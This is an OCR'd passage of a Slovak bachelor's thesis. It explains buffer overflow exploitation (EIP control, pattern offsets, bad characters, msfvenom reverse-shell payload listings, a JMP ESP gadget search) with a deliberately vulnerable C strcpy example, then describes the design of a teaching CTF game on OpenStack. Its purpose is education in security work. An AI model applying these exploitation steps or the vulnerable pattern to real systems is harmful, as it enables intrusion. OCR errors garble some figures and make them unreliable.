
na nizsej adrese a stack pointer sa posunie o jednu adresu nizsie.[17]

Vyssia adresa Z,aaatc?k
zasobniku
) Vrchol
Stack pointer == 1 ~_4s0bniku
Smer rastu
Niz3ia adresa zésobniku

Obr. 2.7: Zasobnik
Base pointer

Pocas behu vlakna sa zasobnik konstantne meni a lokalizovat vlastny stack frame

moze byt pre funkciu problematické. Base pointer (register EBP) je pouzity na
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zaciatku exekicie programového kodu funkcie na ulozenie aktualnej hodnoty vrcholu
zasobnika volajucej funkcie. Pristupom k registru EBP moéze funkcia pristupovat

k informécidm z vlastného stack frame.[18]

Instruction pointer

Instruction pointer je jeden z najdodlezitejsich registrov pre itok na zranitelnost Buf-
fer Overflow. Ukazovatel nesie oznacenie EIP a ukazuje na adresu instrukcie, ktora
sa ma vykonat ako nasledujica. Kvoli charakteru registra EIP a faktu, ze kontro-
luje tok exekicie programu, je pre uto¢nika hlavnym cielom ziskat kontrolu nad
tymto registrom. Ziskanim kontroly nad registrom EIP moze tito¢nik presmerovat

tok exekicie programu na svoj vlastny, skodlivy kéd.[19]

[ Legend:

OX0EEEEEE1L

OX0EEEEEE1L
— 0Ox00000000

: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
1 9x23 1 @x2b 1 B@x2b 1 Bx2b . OX00 : BX63

| toxeeoe: ©xEEEEEEEL

| +oxee04:

| roxee08: ©xEEEEEEEE

| +oxeeec:

| +oxee10: 0x00000000
| +oxe014:

| toxee18: ©xEEEEEEES

| +oxee1c: ©xOEEEEEE3

0x56556209 <add+24> mov DWORD PTR [ebp-0x4], eax
0x5655620¢c <add+27> mov eax, DWORD PTR [ebp-0x4]
0x5655620f <add+30> leave

0x56556210 <add+31> ret

0x56556211 <main+@> lea ecx, [esp+0x4]

[#0] Id 1, Name: "demo2", in add (), reason:

[#0] ©x56556207
3

[#1] OX56556237

gef> I

Obr. 2.8: Zobrazenie registrov, zasobniku a assembly kodu v nastroji GDB

2.2.6 Pri¢ina vzniku zranitelhosti

Dobré pochopenie kontextu, v ktorom bezia aplikdcie a podmienok, za ktorych
vznikd tato zranitelnost, je nevyhnutné k dspesnému vyvoju exploitu, ktory tito

zranitelnost zneuziva.

30



Zranitelnost Buffer Overflow vznika, ked aplikacia nedostatocne oSetruje uziva-
telsky vstup, ktory je ukladany do programovych premennych. Pokial velkost dat po-
skytnutych uzivatelom presahuje velkost alokovaného priestoru pre dant premennt,
do ktorej budu data vlozené, dochadza k preteceniu bufferu. Data, pre ktoré uz nie
je alokované miesto dostatocné, sa zapisu do zasobniku a prepiSu tym existujice
data nachadzajice sa na zasobniku.

Vzhladom na podmienku vzniku zranitelnosti je mozné konstatovat, ze sa jedna
primérne o chybu programéatora, ktory dani funkcionalitu implementoval. V moder-
nych aplikaciach sa tato zranitelnost velmi ¢asto nevyskytuje, avsak jej najCastejsi
vyskyt je mozné pozorovat v programoch, ktoré na nizkej irovni komunikuji s hard-
vérom pocitaca. Jedna sa predovsetkym o ovladace roznych znakovych alebo bloko-
vych zariadeni. Zranitelnost sa vsak moze vyskytovat aj priamo v jadre operacného
systému. [21]

Vypis 2.6 obsahuje ukézku zranitelného kédu v nizkoturoviiovom jazyku C, kde
chyba akékolvek osetrenie uzivatelského vstupu, ktory je predany funkcii strepy()
ako parameter z prikazového riadku. Premennd typu pole znakov méa v ukazkovom
kéde velkost 20 bajtov, ¢o znamend, ze pri spusteni funkcie main(), bude na jej stack

frame pre tito premenni alokovanych 20 bajtov paméte.

int main(int argc, char xargv[])

{
char buff [20];
strcpy (buff, argv[1]);
return O;

}

Vypis 2.6: Ukazka zranitelnej implementacie kopirovania dat do bufferu v jazyku C

Ak wuzivatelsky vstup presiahne 20 bajtov, uzivatelom poskytnuté data budu
zapisané do zasobniku za rozsah alokovaného priestoru pre premennu buff. Aplikacia
na tuto udalost reaguje chybovou hlaskou ,segmentation fault®, ktort je mozné
vidief na obrazku 2.9.

~/demo
AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
zsh: segmentation fault ./BoF AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Obr. 2.9: Chybova hlaska ,segfault® po preteceni bufferu
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V nastroji GDB je mozné spozorovat, ze vsetky uzivatelom poskytnuté data, boli
zapisané do zasobniku. Znaky ,A“ a ,B* si v hexadecimalnej sistave reprezento-
vané ako \x41“ a ,\x42“. Zneuzitie tejto zranitelnosti spoéiva v skutocnosti, ze
zranitelnost ttoc¢nikovi umoznuje upravovat data ulozené na zasobniku podla svojich
potrieb a prepisat tak hodnotu, ktora by mala prist do registra EIP, ktory kontroluje

tok exekuciu programového kédu.

gef» x/20 $esp+100
3 Oxf7fdc48e 0x0e 0x41414141 0x41414141
0x41414141 0x41414141 0x41414141 0x41414141
0x41414141 0x42424242 oxffffdieoe (0)(C]

0x2 oxe OxT7ddages 0x2
Ox56556080 Oxe OxT7ddases Qx2

Obr. 2.10: Hodnoty na zasobniku po preteceni bufferu premennej buff v nastroji
GDB

2.2.7 Ochranné mechanizmy kompilatoru a operacného systému

Zranitelnost Buffer Overflow je znama uz takmer 20 rokov a za ti dobu vzniklo
niekolko protekénych mechanizmov, ktoré si implementované kompilatorom alebo
samotnym opera¢nym systémom. Medzi najznidmejsie patria tzv. stack canaries®,
ASLR” a hardvérové zmeny pre zékaz vykonavania programového kédu v adresnom
priestore, ktory je urceny pre zasobnik. Aj ked existuju techniky obchadzania tychto
obrannych mechanizmov, komplexnost danej problematiky vysoko presahuje rozsah
tejto bakalarskej prace. Pre jednoduchost demonstracie a pre ucely tejto bakalarskej
prace, st niektoré protekéné mechanizmy pri kompilacii binarnych stiborov vypnuté.
20

2.2.8 Mechanizmus zneuzitia zranitelhosti

Pred tspesnym ttokom na zranitelnost Buffer Overlow, je potrebné tito zranitel-
nost v aplikacii identifikovat. Identifikdcia prebieha najcastejsie white box analyzou
zdrojového kédu aplikacie, pomocou technik reverzného inzinierstva alebo pomocou

fuzzingu®. V tejto podkapitole bude pozornost venované identifikdcii zranitelnosti

6 Stack canary: https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage /

"Address Space Layout Randomization: https://blog.morphisec.com/aslr-what-it-is-and-what-
it-isnt /

8 fuzzing“ je black box technika, ktors sa zadavanim roéznych a ¢asto nestandardnych uzivatel-
skych vstupov poktsa o najdenie chyb v implementacii alebo komponentov, ku ktorym standardne

uzivatel nemé priamy pristup.
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Buffer Overflow pomocou fuzzingu.

Pri exploitacii zranitelnosti Buffer Overflow vyvoj exploitu® do vysokej miery
zavisi na kreativite uto¢nika, preto uvedeny postup nie je jediny mozny ale je len
jednym z moznych prevedeni tohto titoku. Standardny postup zahffia prebranie kon-
troly nad registrom EIP, lokalizaciu priestoru pre shellcode!?, generovanie shellcode
a iné. Pocas vyvoja exploitu je nutné zachytit zranitelni aplikdciu do debuggeru'!
a vykonavat manualnu inspekciu hodnot ulozenych v registroch CPU a hodnét, ktoré

sa pocas behu aplikacie zapisuju na zasobnik daného vlakna.[21][22]

Prebranie kontroly nad registrom EIP

Prvym krokom k ziskaniu kontroly nad registrom EIP je zistit pocet bajtov, ktoré je
nutné aplikacii predat v podobe uzivatelského vstupu, aby bola prepisana hodnota
v registri EIP. Ak nie je pre tto¢nika dostupny zdrojovy kod zranitelnej aplikacie,
je v tejto faze mozné pouzit techniku fuzzingu, v cykloch posielat aplikacii rozne
dlhé uzivatelské vstupy a pozorovat, kedy aplikdcia prestane reagovat. Pokial bude
hodnota v registri EIP prepisand hodnotou, ktord neodpoveda adrese ziadnej in-
strukcie, CPU nie je schopné pokracovat v exekucii programového kodu a aplikacia
konc¢i svoj beh s chybovou hlaskou segmentation fault.

Po zisteni pribliznej dizky uzivatelského vstupu, ktord sposobuje pad aplikdcie,
je potrebné zistit presny offset bajtov k registru EIP. Technika, ktora umoznuje
zistenie toho offsetu spociva v posielani uzivatelského vstupu segmentovaného do
jedineénych vzorov, ktoré sa v ramci celého payloadu'? neopakuji. Po doruceni
payloadu do bufferu zranitelnej aplikacie a po jeho zapise na zasobnik, je v pripade
prepisania hodnoty v registri EIP mozné vycitat, ktory fragment payloadu sa zapisal
do registra EIP. Na zaklade tohto fragmentu je mozné spatne vypocitat presny
pocet bajtov, ktoré predchadzali tomuto fragmentu od zaciatku bufferu premennej,
do ktorej sa payload zapisuje.

Vyssie uvedené je mozné dosiahnuf roznymi spdsobmi a existuje niekolko nastro-
jov. Jednym z nich je sada néstrojov msf-pattern _create a msf-pattern_offset,
ktoré su stucastou platformy Metasploit Framework!'. Demonstricia tychto néstro-

jov je obsiahnuté v praktickej Casti bakalarskej prace v prilohe A.[21][22]

9 exploit“ je anglicky termin reprezentujici program, ktory bol vyvinuty za ticelom zneuzitia
danej zranitelnosti.

10 _shellcode“ je anglicky termin reprezentujici mnozinu instrukeii, ktora vykondva ttoénikom
zvolent funkcionalitu pri exploitécii systému.

HDebugger je softwarovy nastroj pouzivany na hladanie chyb pri vyvoji software vo fize ladenia.

12 payload“ je anglicky termin reprezentujici skodlivy kéd, ktory ma dtoénik v zdujme dorucit
obeti.

13Metasploit Framework: https://docs.rapid7.com /metasploit /msf-overview/
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Lokalizacia priestoru v pamdti pre shellcode

Pred vynttenim zmeny toku programového koédu je nutné zistit, kde presne na za-
sobniku sa nachadza payload, ktory bol tto¢nikom poslany do bufferu programove;j
premennej. Od toho zavisi assembly instrukcia, ktorou bude nutné substituovat ak-
tudlnu hodnotu ulozenu v registri EIP.

Na lokalizaciu shellcode na zasobniku je mozné shellcode nahradit retazcom ur-
¢itej dizky, ktory je tvoreny len z jedného znaku. V paméti sa tak objavi velky
fragment dat tvoreny jedinym znakom, ktory je velmi jednoducho identifikovatelny.
Na zaklade vysledku, tto¢nik voli inStrukciu, ktori je nutné pouzit, aby presmero-
val tok exektcie programového kdédu na svoj shellcode. V nasledujicom vypise je
demonstrovany obsah zasobniku, kde shellcode uréeny na lokalizaciu na zasobniku,

je tvoreny znakmi ,,C*“.[22]

02607454
02607458
0260745C
02607460
02607464
02607468
0260746C
02607470

41414141
41414141
42424242
43434343
43434343
43434343
43434343
43434343

AAAA
AAAA
BBBB
cccc
cccc
cccc
cccc
cccc

# prepisanad hodnota v registri EIP

Vypis 2.7: Shellcode tvoreny znakom ,,C*

Identifikacia Specialnych znakov

Pri vyvoji exploitu zneuzivajiceho zranitelnost Buffer Overflow v siefovej aplikacii,
je nutné brat do uvahy charakter zranitelnej aplikacie, pripadne charakter aplikac-
nych protokolov, ktoré aplikacia vyuziva. Pouzity payload moéze obsahovat znaky,
ktoré maju pre aplikaciu alternativny vyznam a mozu tak prekazit iispesnu exploita-
ciu. Jednym z tychto Specidlnych znakov je tzv. null byte'*, ktory v nizkotroviiovych
jazykoch ako C alebo C++ reprezentuje ukoncenie textového refazca. Pri zneuzi-
vani zranitelnosti v kdde, v ktorom sa zranitelnost prejavuje pri kopirovani obsahu
jedného bufferu do druhého, pouzitie znaku null byte prerusi retazec reprezentujuci

payload a exploitacia zlyha.[23]

Generovanie shellcode

Po ziskani kontroly nad tokom exekiicie programového kédu, lokalizacii priestoru

v pamati pre shellcode a identifikacii Specidlnych znakov, ktory by mohli exploita-

Mpull byte je v hexadeciméalne stistave reprezentovany 0x00.
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ciu prekazit, je potrebné vygenerovat shellcode, ktory bude vykonavat pozadovanu
funkcionalitu. Shellcode je v podstate samostatny program, ktory sa pri zneuzivani
zranitelnosti Buffer Overflow zavedie do paméte pocas behu iného procesu. Pri ge-
nerovani shellcode je potrebné dbat na spravnost zvolenej architektiry, nakolko nie
vsetky architektiry st medzi sebou kompatibilné. Je potrebné rozlisovat 32-bitovi
a 64-bitovi architektiru procesoru a operacny systém, na ktorom zranitelna aplika-
cia bezi.

Utocnik si moze generovat vlastny proprietarny shellcode, ¢o sa v praxi vyuziva
najcastejsie alebo méze pouzit nastroj, ktory pre neho na zaklade zvolenych paramet-
rov shellcode vygeneruje. Jednym z néstrojov pouzivanych na generaciu shellcode
je msfvenom'®, ktory je opat sicastou platformy Metasploit Framework. Uto¢nik za-
dava nastroju parametre ako druh payloadu, architektiiru a v pripade payloadu typu
reverse shell vlastni IP adresu a port, na ktory sa ma cielovy systém po tspesnej

exploitacii pripojit.[1][22]

payloads linux > reverse
linux/x86/meterpreter/ _ipvé_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
1linux/x86/meterpreter/ _nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/ _tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/ _tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_ _http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_ _https Run the Meterpreter / Mettle server payload (stageless)

linux/x86/meterpreter_ _tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_ _tcp Stub payload for interacting with a Meterpreter Service
linux/x86/shell/ _ipvé_tcp Spawn a command shell (staged). Connect back to attacker over IPV6
linux/x86/shell/ _nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/ _tcp Spawn a command shell (staged). Connect back to the attacker
1inux/x86/shell/ _tep_uuid spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_ _tcp Connect back to attacker and spawn a command shell
1inux/x86/shell_ _tcp_ipve connect back to attacker and spawn a command shell over IPV6

Obr. 2.11: Vypis moznych payloadov pre pre OS Linux, architektiru x86 typu re-

verse shell pomocou néastroja msfvenom.

Vynuatenie zmeny toku programového kédu

Vynitenie zmeny toku programového kodu je poslednou fazou utoku, kde je potrebné
najst assembly instrukciu, ktora nasmeruje tok exektcie na utocnikom pripraveny
shellcode. Utoénik preto musi vediet presne, kde v paméti sa jeho shellcode nacha-
dza. Nakolko je tato problematika v praxi velmi komplikovand a kazda aplikacia
v pamatovom priestore s datami operuje trochu inak, je pre spravne pochopenie
tohto mechanizmu vhodné uviest konkrétny priklad. Tato podkapitola bude pre
ucely vykladu dalej pracovat so scenarom, kedy sa shellcode uto¢nika nachadza na
mieste, kam ukazuje stack pointer (register ESP).

Pre tispesné nasmerovanie toku exektcie na shellcode je potrebné pouzit vhodni

assembly instrukciu. Existuje niekolko variant, ktoré zavisia na velkosti binarneho

I5N4stroj msfvenom: https://www.offensive-security.com /metasploit-unleashed /msfvenom /
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siboru, velkosti miesta dostupného pre shellcode a inych premennych, ktoré do pro-
cesu exploitacie vstupuju. Pre zjednodusenie tejto komplexnej problematiky bude
uvedena najjednoduchsia z moznych variant, ktord reprezentuje hlavni myslienku
tohto exploitacného kroku.

Utocénik moze pouzit indtrukeiu JMP ESP, ktord pre procesor predstavuje nepod-
mieneny skok na adresu, ktora je ulozena v registri ESP, akondhle pride adresa tejto
instrukcie do registra EIP, procesor presmeruje tok exekicie na adresu v pamaéti,
na ktoru ukazuje register ESP a teda na shellcode itocnika.

Pre najdenie spravnej adresy pouzitej insStrukcie je mozné pouzit uz existu-
jice nastroje ako napriklad ROPGadget.py'®, avsak je potrebné v exploite praco-
vat so spravnou endianitou, aby bola najdena adresa spravne reprezentovand pre
CPU.[22]

0x0000104b jmp 0x1030@
0x000011f4 : jmp O0x1110
0x00001117 : jmp O0x1147
0x000011b6 : jmp O0x11b9
0x000012d3 : jmp O0x1260
0x00001366 : jmp Ox136C
0x000016050 : jmp dword ptr
0x00001060 : jmp dword ptr
0x00001040 : jmp dword ptr
0x00001036 : jmp dword ptr
0x00001070 : jmp dword ptr
0x00001075 : jmp dword ptr
0x0000120e : jmp esp

Unique gadgets found: 13

Obr. 2.12: Najdenie adresy instrukcie JMP ESP pomocou nastroja ROPGadget.

16N4stroj ROPGadget: https://github.com/JonathanSalwan /ROPgadget
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3 Technolégie pouzité pre realizaciu kyber-
netickej hry

Nevyhnutnou stucastou realizacie cielov bakalarskej prace je pouzitie virtualiza¢nych
technolégii pre simulaciu pocitacovej siete a jej prvkov. Tato kapitola predstavi
principy a vyhody hardvérovej virtualizacie, platformu OpenStack a technolégie,

ktoré boli pouzité v praktickej casti bakalarskej prace.

3.1 Virtualiza¢né technolégie

Prvym délezitym pojmom je virtualizacia. Virtualizacia prindsa urciti abstrakciu
nad hardvérom fyzického pocitaca, ktora umoznuje zdielat hardvérové zdoje ako
procesor, paméf ¢i tlozisko s tzv. virtudlnymi strojmi. Jedna sa teda o softvérovi
emuléaciu fyzického zariadenia. Virtudlnym strojom nazyvame virtualne prostredie
simulujice hardvér s plne funkénym operaénym systémom. Fyzicky pocitac, ktory
poskytuje virtualizaciu je casto oznacovany ako host, emulovany systém ako guest
a softvér zabezpecujuci virtualizaciu hypervizor.

Virutalizacné technologie poskytuju uzivatelovi celi radu vyhod. Hlavnou vyho-
dou pre aplikaciu v tejto bakalarskej praci je moznost vytvorit tzv. snapshot, ktory
umoznuje zachytit aktualny stav virtualizovaného systému. V pripade poruchy ope-
racného systému alebo nekalej ¢innosti studenta, je mozné systém jednoducho vratit
do povodne pozadovaného stavu. Vzhladom na povahu ¢innosti, ktori bude student
v ramci penetracného testovania vodi kazdému virtualnemu stroju vykonavat, je
pouzitie virtualnych strojov velmi vyhodné.

Existuje mnoho sluzieb a softvéru, ktoré sa venuju virtualizacii ¢i uz ako desk-
topové aplikédcie alebo cloudové sluzby. V nasledujicej kapitole bude predstavena

platforma, ktori bude kyberneticka hra vyuzivat. [24]

3.2 Platforma OpenStack

OpenStack je open source software a platforma umoznujica uzivatelom nasadenie
virtudlnych stojov, sieti a inych prvkov pouzitelnych na plnenie réznych uloh pri
implementacii cloudovych rieSeni. Platforma zaistuje rozdelovanie virtualizovanej
vypoctovej kapacity a ma teda kontrolu nad zdrojmi cloudu.

Pri narazeni na nedostatok hardvérového vykonu pri pouziti klasického fyzic-
kého serveru je moznym riesenim pridat novy hardvér alebo dokipit novy server.
Tieto riesenia su vsak casto drahé a novo dokipeny server nemusi naplno vyuzi-

vat svoju vypoctovi schopnost a riesenie sa stava neefektivnym. Pouzitie platformy
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OpenStack tieto problémy ciastocne eliminuje a to prave pouzitim virtualiza¢nych
technolégii. OpenStack rozdelovanie fyzickych zdrojov zovseobecnuje pomocou tzv.
poolov, z ktorych mézu jednotlivé virtualne instancie cerpat. Platformu OpenStack

vyuziva prave Kybernetickd Aréna, pre ktord je kybernetickd hra vyvijana. [25]

3.3 Kyberneticka Aréna

Kyberneticka aréna je komplexnym rieSenim prostredia pre vyskum, testovanie a vzde-
lavanie v oblasti kybernetickej bezpecnosti. Oproti inym platformam sa kyberneticka
aréna navyse zameriava na kyberfyzikalne systémy a systémy z industridlnej sféry.

Kybernetickd aréna obsahuje hry obsahujice scenar, ktory je tvoreny formou
tzv. hry o vlajku (Capture the flag). Jednotlivé kybernetické hry sa zameriavaji
na problematiku penetracného testovania, digitalnej forenznej analyzy a aplikovanej
kryptografie.

Kyberneticka aréna zobrazuje svoj obsah podla prislusnosti uzivatela do urcitej
skupiny akou je napriklad predmet v dany semester. Kazda kyberneticka hra sa
sklada z nasledujucich casti:

o Ulohy - zloZené z textového zadanie, ndpovedi a pozndmok

o Kontrolny test - 5 otazok typu jedna alebo viac spravnych odpovedi

o Zaverecné zhrnutie - zobrazenie poc¢tu bodov, ktoré student ziskal za jednotlivé

ulohy pocas hry

o Skore hry - zobrazenie grafov a tabulky skore vsetkych aktivnych hracov

Kazd4 hra mé obmedzeny pocet hracov a méze byt ¢asovo obmedzena. Stu-
dent mé na splnenie tloh priestor, kym mu nevyprsi ¢as alebo sam dobrovolne hru

neukonci.[26]

3.4 Jazyk PHP

PHP je skriptovaci jazyk, ktory vzikol v roku 1994 a je pouzivany pre vyvoj klient-
server aplikacii a dynamickych webovych stranok. Povodnym vyznamom skratky
bolo Personal Home Page, avsak dnes sa pod skratkou rozmumie PHP: Hypertext
Preprocessor.

Webové aplikicie vyuzivaji vyssie spominany model klient-server, ¢o v praxi
znamena nasledové. Uzivatel pristipi na fiktivnu webovt stranku www. ezample. com,
internetovy prehliadac¢ zasle webovému serveru HTTP zZiadost a ten odpovie prislus-
nym HTML dokumentom. V tomto pripade je internetovy prehliadac klient a webovy
server server. PHP bezi na strane serveru, spracuje dana ziadost a odpovie HTML

dokumentom.
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Jazyk PHP funguje na vSetkych hlavnych operacnych systémoch akymi st napri-
klad Linux, Windows ¢i macOS. Vyvojari mézu pouzit PHP na mnohych zndmych
webovych serveroch ako napr. Nginx alebo Apache. Jazyk PHP podporuji aj nie-
ktoré cloudové prostredia ako Microsoft Azure ¢i Amazon AWS.

Jednou z mnohych funkcii jazyka PHP je mozné integracia komunikacie s roz-
nymi databazovymi systémami ako napr. MySQL, PostgresSQL, MS SQL a mnoho
dalsich. PHP je jazyk obsahujuci celi radu komponentov a funkcii, ktoré sa velmi
dobre implementuji do rieseni a preto je ¢asto voleny ako jazyk pre vyvoj webovych
aplikdcii. [27]

3.5 MySQL

MySQL je systém pre spravu relacnych databaz fungujicich na baze jazyka Structu-
red Query Language (SQL). Databdzovy systém je mozné pouzit na celd radu rieseni,
kde medzi najzndmejsie patri ukladanie dat pre webové stranky (uzivatelské ucty,
produkty a pod.) ¢i aplikdcie, ktoré vyzaduju autorizaciu. Databazovy systém My-
SQL a jazyk PHP st velmi ¢asto pouzivanou kombindciou v mnohych open-source
aplikdciach ako napriklad WordPress, Joomla! alebo Drupal. [2§]

Komunikacia s MySQL serverom je mozna dvoma sposobmi. Prvym sposobom
je pouzite rozhrania prikazového riadku ¢i terminalu, kde uzivatel na prechadzanie,
zobrazovanie a manipulaciu prvkov databazy vyuziva manualne zadané SQL prikazy.
Druhym sposobom, pre velké projekty vyhodnejsim a v praxi najpouzivanejsim, je
pouzitie aplikacii s grafickym uzivatelskym rozhranim, desktopovych ¢ webovych,
ktoré vyuzivaji na komunikiciu s MySQL serverom API daného programovacieho
jazyka. Toto riesenie ulahcuje tvorbu databazy, a tak zefektiviiuje cely jej vyvoj
a udrzbu.

Najznamejsimi odvetviami softvéru MySQL st Percona Server a MariaDB, ktora

je vyvijana niektorymi ¢lenmi pévodného timu, ktory stél za vyvojom MySQL. [29]

3.6 Jazyk C

Jazyk C je proceduralny programovaci jazyk vyvinuty v roku 1972. Jeho hlavnym
ucelom bolo priniest jazyk vhodny pre vyvoj operac¢nych systémov. Medzi hlavné
vyhody jazyka C patri nizkoiroviiovy pristup k operacnej paméti a jednoduchost
syntaxe. Jazykom C sa neskor inspirovalo niekolko dalsich programovacich jazykov
ako napr. Java, PHP alebo JavaScript. Nevyhodou nizkoturoviiového pristupu jazyka
C su casté chyby programatorov pri implementacii, ktoré vedi ku korupcii operacnej

pamaéti a zranitelnostiam akou je napr. Buffer Overflow.[30]
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3.7 Nginx

Nginz je open-source webovy server, ktory bol vytvoreny za tcelom prinosu we-
bového servera, ktory ma nizke pamatové naroky a vysoku efektivitu spracovava-
nia mnohych subeznych pripojeni. Hlavnym rozdielom medzi Nginx a ostatnymi
komercénymi serverovymi rieSeniami je v metdde spracovavania sibeznych spojeni.
Nginxz namiesto vytvarania samostatného procesu pre kazdi HT'TP Ziadost, vyuziva
asynchrénny, na udalostiach zalozeny pristup. Jeden master proces kontroluje wor-
ker procesy. Vdaka vysokému paralelizovaniu procesu spracovavania ziadosti nedo-
chadza k blokovaniu jednotlivych HT'TP ziadosti. Medzi hlavné vlastnosti webového
serveru Nginz patria nasledovné:[31]

o Sluzby webového servera

o Reverse proxy s podporou keSovania

e Podpora IPv6

« Balansovanie zataze

o Websockety

« TLS/SSL

3.8 Operacny systém Linux

Operacné systémy typu UNIX st na trhu od sedemdesiatych rokov minulého storo-
¢ia. Z operacného systému UNIX bolo vytvorenych mnoho verzii a vychadzajucich
operacnych systémov, ktoré si dodnes neodmyslitelnou sticastou rieseni v informac-
nych technologiach. Medzi ne patri operacny systém Linux, ktory je open-source
a slobodny softvér, vyvijany Iudmi z celého sveta. Za roky jeho existencie vzniklo
niekolko jeho distribtcii a v praktickej casti bakalarskej prace sa pracuje s dvoma

z nich a to distribiicie Debian a Kali Linux. [32]

3.8.1 Distribicia Debian

Distribucia Debian je jednou z najznamejsich a najpouzivanejsich distribtcii operac-
ného systému Linux na svete. Debian pouziva na instalaciu balickov nastroj APT
(Advanced Packaging Tool) a momentélne existuje priblizne 59 000 stabilnych ba-
lickov, ktoré si uzivatelia mézu na svoj systém nainstalovat. Z distribicie Debian
vychadza niekolko dalsich distribicii ako Ubuntu, Linux Mint, Parrot OS ¢i Kali
Linux. [33]
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3.8.2 Distribucia Kali Linux

Kali Linux (predosly nazov BackTrack Linux) je distribtcia operacného systému
Debian, urc¢end pre penetracné testovanie a bezpecnostné audity. Operacny systém
obsahuje stovky roznych nastrojov zameranych na penetracné testovanie, audity,
forenznt analyzu, reverzné inzinierstvo alebo vyskum v oblasti informacnej bez-
pecnosti. Kali Linux je zadarmo dostupny pre profesionalov v oblasti informacnej

bezpecnosti ale aj pre sirokid verejnost. [34]

3.9 Raspberry Pi

Raspberry Pi je nizko nédkladovy pocitac vo velkosti kreditnej karty, ktory je mozné
pripojit k samostatnému monitoru alebo televizii. Pre interakciu so zariadenim sa
pouziva Standardna klavesnica a mys. Zariadeni Raspberry Pi je niekolko druhov
a lisia sa primarne vykonom a perifériami, ktoré je mozné pouzif. Zariadenie Rasp-
berry Pi vyuZiva operaény systém Raspberry Pi OS*, ktory je derivatom operaéného
systému Debian.

Zariadenia Raspberry Pi sa casto vyuzivaju napr. na tcely vyuky programova-
nia a vSseobecného fungovania modernych pocitacov, automatizacie roéznych druhov
¢innosti ako napr. blokovanie reklam v sieti danej domacnosti alebo na ovladanie
roznych senzorov a zariadeni IoT. Medzi najznamejsie modely zariadeni Raspberry
Pi patria nasledovné:|35]

» Raspberry Pi Pico

» Raspberry Pi Zero

o Raspberry Pi 3

» Raspberry Pi 4

!Predosly nézov Raspbian
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4 \Vlastny navrh a implementacia kyberne-
tickej hry

Téato kapitola predstavuje vlastny navrh a jednotlivé kroky vyvoja kybernetickej
hry. Vyvoj kybernetickej hry pozostaval z vytvorenia experimentélneho pracoviska
v prostredi OpenStack, konfiguracii virtualnych strojov, vyvoja zranitelnych aplikacii
a vytvorenia vlastného scenara kybernetickej hry. Kyberneticka hra je kompatibilna
s kybernetickou arénou a doba jej trvania je jedna hodina a 45 minit. Hra je vyvijana
v style Capture The Flag (CTF) a nachddza sa v nej celkovo 7 jedine¢nych vlajok.
Na ziskanie kazdej vlajky musi student splnif urciti tilohu alebo c¢ast tlohy a vlozit
danud vlajku do kybernetickej arény, ktora spravnost vlajky overi. V pripade zadania
spravnej vlajky, moze student pokracovat v hre a je mu spristupnena dalsia tloha
a cely proces sa opakuje. Na konci kybernetickej hry je spusteny kontrolny test,
ktory overi znalosti Studenta. Test pozostava z piatich otdzok, ktoré si zamerané
primérne na zranitelnosti, ktoré bolo v ramci kybernetickej hry cielom zneuzit.

Kyberneticka hra je zamerana na zranitelnosti SQL injection a Buffer Overflow.
Zranitelnost SQL injection, musi Student pred samotnym zneuzitim identifikovat
v prihlasovacom formulari webovej aplikacie. Zranitelnost Buffer Overflow student
nemusi manualne identifikovat, je mu poskytnuta napoved v style textového suboru
a proof-of-concept exploitu v jazyku Python, ktoré sa nachadzaji na jednom z virtu-
alnych strojov. Kyberneticka hra je primarne zameranda na prezentaciu zranitelnosti
Buffer Overflow a jej efektivnemu zneuzitiu pre neautorizované spustenie Iubovol-
ného skodlivého kédu na cielovom systéme.

Kazdému studentovi sa vytvaraju vlastné insStancie virtualnych strojov. Nedocha-
dza tym k interferencii jednotlivych exploitacnych postupov studentov a v pripade
zlyhania daného virtualneho stroja na strane kybernetickej arény, je ovplyvneny
len jeden Student. Dizka a charakter kybernetickej hry umoziiuje pouzit tito hru
na ucely vyuky v podobe pocitacového cvicenia. Charakter kybernetickej hry taktiez

umoznuje hru nadalej vyvijat a upravovat podla potrieb vyuky.

4.1 Implementacia do platformy OpenStack

Virtualne stroje pouzité v kybernetickej hre pouzivaju operacny systém Debian
a Kali Linux. Na ich vlozenie do platformy OpenStack bolo potrebné stiahnut obraz
vo formate QCOW2, nastavit velkost disku a paméite RAM. Obrazy jednotlivych
operacnych systémov si volne dostupné na oficidlnych strankach danej distribu-

ciel. Po vloZeni obrazu operacného systému, bolo potrebné vytvorit jeho inStanciu,

Thttps://cloud.debian.org/images/cloud /bullseye/latest /debian-11-generic-amd64.qcow?2
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na ktorej prebiehala celd konfiguracia systému.

Image Details

Specify an image to upload to the Image Service.
Image Name Image Description

Needle Image pre kyberneticku arénu

Image Source

File*
debian-11-generic-amd64.qcow2
Format™

QCOW2 - QEMU Emulater v

Image Requirements

Kernel Ramdisk
Choose an image v Choose an image v
Architecture Minimum Disk (GB)" Minimum RAM (MB)"
5 Z 1024 5

Image Sharing
Visibility Protected

Private Shared Community Yes No

< Back Next > + Create Image

Obr. 4.1: Vkladanie obrazu operacného systému Debian do platformy OpenStack

4.2 Konfiguracia a vytvaranie virtualnych strojov

V ramci penetracného testovania a plnenia jednotlivych tloh kybernetickej hry sa
student nestretne so zranitelnostami znamych sluzieb a verejnymi exploitami. Ky-
bernetickd hra preveri jeho znalosti viac do hibky. Identifikdcia zranitelnej sluzby
a spustenie verejného exploitu, pripadne modulu z frameworkov ako Metasploit® &
PowerShell Empire3, bez znalosti vintitornych mechanizmov danej zranitelnosti, nie
je ucelom tejto kybernetickej hry. Pre tispesné dokoncenie hry bude musiet student
pouzit znalosti o fungovani webovych aplikécii, operacnych systémov, exekticie ELF*
siborov a zneuziti najdenych zranitelnosti. Zranitelnosti nachadzajice sa na cielo-
vom systéme vyzaduju manualnu exploitaciu a st implementované v proprietarnom

rieSeni.

Zhttps: //docs.rapid7.com/metasploit /msf-overview /
3Powershell Empire: https://bc-security.gitbook.io /empire-wiki/
